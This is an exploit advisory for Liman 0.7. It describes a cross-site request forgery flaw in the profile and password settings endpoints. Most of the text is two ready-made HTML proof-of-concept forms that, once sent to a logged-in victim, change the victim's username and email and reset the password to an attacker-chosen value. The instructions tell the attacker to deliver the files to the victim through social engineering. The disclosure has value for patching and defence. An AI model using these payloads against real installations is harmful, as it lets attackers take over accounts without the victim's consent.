Liman 0.7 – Cross-Site Request Forgery (Change Password)
# Exploit Title: Liman 0.7 - Cross-Site Request Forgery (Change Password) # Date: 2020-10-07 # Exploit Author: George Tsimpidas # Software Link : https://github.com/salihciftci/liman/releases/tag/v0.7 # Version: 0.7 # Tested on: Ubuntu 18.04.5 LTS (Bionic Beaver) # Category: Webapp Description: There is no CSRF protection in Liman application, with a little help of social engineering (like sending a link via email/chat) an attacker may force the victim to click on a malicious link, with the purpose of manipulating his current account information, or changing entirely his password. Vulnerable Endpoints : http://127.0.0.1:5000/settings/profile http://127.0.0.1:5000/settings/password Proof of Concept Download the application, make an account and login inside the panel under : http://127.0.0.1:5000 expose the docker port on 5000. Save this .html files and send it to victim (Victim should be logged in in the browser) Crafted value will be added. Account Information CSRF : <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1:5000/settings/profile" method="POST"> <input type="hidden" name="username" value="betatest" /> <input type="hidden" name="email" value="test@gmail.com" /> <input type="submit" value="TakeOver Account Settings" /> </body> </html> Password Change CSRF : <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1:5000/settings/password" method="POST"> <input type="hidden" name="password" value="takeover" /> <input type="hidden" name="newPassword" value="takeover" /> <input type="hidden" name="confirmPassword" value="takeover" /> <input type="submit" value="Password TakeOver" /> </body> </html> |